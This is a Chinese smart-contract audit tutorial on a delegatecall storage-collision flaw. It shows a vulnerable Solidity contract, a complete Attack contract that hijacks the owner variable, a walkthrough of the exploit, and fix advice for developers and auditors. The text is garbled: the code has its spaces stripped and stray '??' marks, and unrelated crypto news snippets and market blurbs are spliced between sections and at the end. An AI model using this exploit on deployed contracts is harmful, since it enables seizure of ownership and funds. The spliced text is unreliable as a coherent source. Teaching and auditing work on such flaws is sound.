上篇文章中我们了解了什么是delegatecall函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对delegatecall的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。
这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
BCH将于今晚进行硬分叉升级并将支持智能合约:5月15日消息,Bitcoin Cash(BCH)将于北京时间今晚进行硬分叉升级,升级内容包括推出代币发行功能CashTokens以及支持智能合约,允许开发者在 BCH 上开发 DApp。[2023/5/15 15:03:51]
漏洞分析
这次的攻击目标依然是获得HackMe合约中的?owner?权限,我们可以看到两个合约中除了HackMe合约中的构造函数可以修改合约的?owner?其他地方并没有修改?owner?的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。
是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:
攻击合约
Moonbeam新增Scaffold-ETH支持部署Solidity智能合约:3月3日消息,据Moonbeam最新版开发者文档,以太坊开发技术栈Scaffold-ETH已支持在Moonbeam部署Solidity智能合约,并启用了带有React前端和已部署subgraph的DApp。目前有一些预制模板可供常见DApp类型,如NFT、ERC-20 Token、多签钱包、简易DEX等使用。Scaffold-ETH可提升提升开发效率,曾被部分开发者称为“Web3.0 DApp开发入门神器”。[2022/3/3 13:34:48]
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
跨链智能合约平台Clover发布波卡插槽竞拍策略:11月5日消息,跨链智能合约平台Clover发布波卡插槽竞拍策略,将参与前5个插槽拍卖,使用代币CLV总供应量的20%(2000万枚CLV)建立代币奖励池奖励众贷支持者,平行链拍卖开始时间为11月11日,当拍卖成功、项目平行链启动时,立即发放28%的众贷奖励其余的72%,将在接下来的23个月里,按月解锁。若Clover在第一批拍卖中未成功竞拍,将用额外的CLV补偿众贷活动中的贡献者。[2021/11/5 6:33:37]
我们先看攻击流程:
1.Alice部署Lib合约;
2.Alice部署HackMe合约并在构造函数中传入Lib合约的地址;
3.攻击者Eve部署Attack合约并在构造函数中传入HackMe合约的地址;
动态 | 智能合约即服务平台Simba Chain完成150万美元种子轮融资:基于云的智能合约即服务(SCaaS)平台Simba Chain平台宣布已完成150万美元种子轮融资。参与本轮融资的投资机构包括有圣母大学的Pit Road基金、Elevate Ventures、First Source资本以及数位天使投资人。(Finsmes)[2020/1/13]
4.攻击者调用Attack.attack()函数将HackMe合约中的owner变为自己。
咋回事儿呢?其实这个攻击方式就是很巧妙的运用了delegatecall这个函数修改storage类型变量时的特征:delegatecall函数的执行环境是调用者的环境并且对于storage类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。
动态 | 智能合约技术提供商UMA在以太坊测试网络推出合成代币生成器:据The Block消息,智能合约技术提供商UMA推出一个平台,可以创建追踪“任何东西”价格的代币,从外汇汇率到股票价格。UMA联合创始人Allison Lu在伦敦DEFI峰会上宣布,该平台被称为合成代币生成器(Synthetic Token Builder),可以在以太坊测试网络Rinkeby上使用。Synthetic Token Builder接受DAI作为抵押品,并允许用户铸造遵循各种价格指数的代币。用户也可以交易这些代币,而其抵押品价值会根据价格指数变化。[2019/9/12]
1.Attack.attack()函数先将自己的地址转换为uint256类型第一次调用HackMe.doSomething()函数;
2.HackMe.doSomething()函数使用delegatecall函数带着传入的Attack合约的地址调用了Lib.doSomething()函数;
3.可以看到Lib.doSomething()函数将合约中存储位置为slot0的参数改为传入的值,这样当HackMe合约使用delegatecall调用Lib.doSomething()函数时也将改变自己在slot0位置存储的变量的值,也就是将lib参数改为我们传入的Attack合约的地址。此时之前在HackMe.lib参数中存储的Lib合约的地址就被修改成我们传入的Attack合约的地址了;
4.Attack.attack()函数再次调用HackMe.doSomething()函数,由于在上一步我们已经将HackMe.lib变量修改为Attack合约的地址了,这时HackMe.doSomething()函数将不再调用之前的Lib合约而是用delegatecall去调用Attack.doSomething()函数。此时我们再来观察Attack合约的写法,发现其变量的存储位置故意和HackMe合约保持一致,并且不难发现Attack.doSomething()函数的内容也被攻击者写为owner=msg.sender,这个操作修改了合约中存储位置为slot1的变量。所以HackMe合约使用delegatecall调用Attack.doSomething()函数就会将合约中存储位置为slot1的变量owner修改为msg.sender也就是Eve的地址,至此攻击者完成了他的攻击。
修复建议
作为开发者
1.?在使用delegatecall时应注意被调用合约的地址不能是可控的;
2.?在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用delegatecall进行外部调用时会根据被调用合约的数据结构来修改本合约相应slot中存储的数据,当数据结构发生变化时这可能会造成非预期的变量覆盖。
作为审计者
1.在审计过程中遇到合约中有使用delegatecall时需要注意被调用的合约地址是否可控;
2.当被调用合约中的函数存在修改storage变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的storage变量被错误的覆盖。
来源:金色财经
重点 ??StarkEx4.5版本来了!??Volition:允许用户为他们的每项资产选择他们想要使用的数据可用性模式:Rollup或Validium??支持ERC-1155??交易捆绑——执行.
DeFi数据 1.DeFi代币总市值:379.62亿美元 DeFi总市值数据来源:coingecko2.过去24小时去中心化交易所的交易量:40.
市场消息 美东时间周三上午9时30分,美联储主席鲍威尔在参议院银行委员会上就半年度货币政策报告时表示,持续加息是适当的,美联储坚决承诺将通胀率恢复到2%,美国经济非常强劲,可以应对紧缩政策.
数字货币圈的消息流传的很迅速,通常都会一石激起千层浪,然而新兴GameFi+Metaverse项目GHC率先打响了第一炮,作为GameFi与Metaverse的结合体,GHC的价值早已非同寻常.
一起看看最近热度较高的?Arbitrum?奥德赛分两期讲讲,这篇主要将?Arbitrum?的潜力见解,至于空投怎么搞出来,第二期文章内有讲解 往下看.
近日币圈“雷曼时刻”,一夜蒸发14万亿。从去年年底开始,以比特币为代表的加密货币就已经结束过去数年高速增长转而开始掉头向下.